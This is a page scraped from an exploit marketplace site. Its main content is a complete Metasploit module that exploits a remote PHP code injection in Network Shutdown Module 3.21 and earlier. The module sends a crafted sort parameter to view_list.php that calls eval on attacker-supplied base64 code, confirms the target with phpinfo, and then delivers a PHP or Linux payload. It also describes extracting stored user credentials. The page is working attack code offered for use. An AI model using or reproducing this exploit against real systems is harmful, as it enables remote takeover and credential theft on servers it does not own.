0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Network Shutdown Module 3.21 Remote PHP Code Injection
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/exploit/php_exe' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'Network Shutdown Module <= 3.21 (sort_values) Remote PHP Code Injection', 'Description' => %q{ This module exploits a vulnerability in lib/dbtools.inc which uses unsanitized user input inside a eval() call. Additionally the base64 encoded user credentials are extracted from the database of the application. Please note that in order to be able to steal credentials, the vulnerable service must have at least one USV module (an entry in the "nodes" table in mgedb.db) }, 'Author' => [ 'h0ng10', # original discovery, msf module 'sinn3r' # PhpEXE shizzle ], 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '83199'], ['URL', 'http://secunia.com/advisories/49103/'] ], 'Payload' => { 'DisableNops' => true, 'Space' => 4000 }, 'Platform' => ['php', 'linux'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => 'Jun 26 2012' )) register_options( [ Opt::RPORT(4679) ], self.class) end def check # we use a call to phpinfo() for verification res = execute_php_code("phpinfo();die();") if not res or res.code != 200 print_error("Failed: Error requesting page") return CheckCode::Unknown end return CheckCode::Vulnerable if (res.body =~ /This program makes use of the Zend/) return CheckCode::Safe end def execute_php_code(code, opts = {}) param_name = rand_text_alpha(6) padding = rand_text_alpha(6) url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f" res = send_request_cgi( { 'uri' => '/view_list.php', 'method' => 'POST', 'vars_get' => { 'paneStatusListSortBy' => url_param, }, 'vars_post' => { param_name => Rex::Text.encode_base64(code), }, 'headers' => { 'Connection' => 'Close', } }) end def no_php_tags(p) p = p.gsub(/^<\?php /, '') p.gsub(/ \?\>$/, '') end def exploit print_status("#{rhost}:#{rport} - Sending payload") unlink = (target['Platform'] == 'linux') ? true : false p = no_php_tags(get_write_exec_payload(:unlink_self => unlink)) execute_php_code(p) handler end end # 0day.today [2024-07-05] #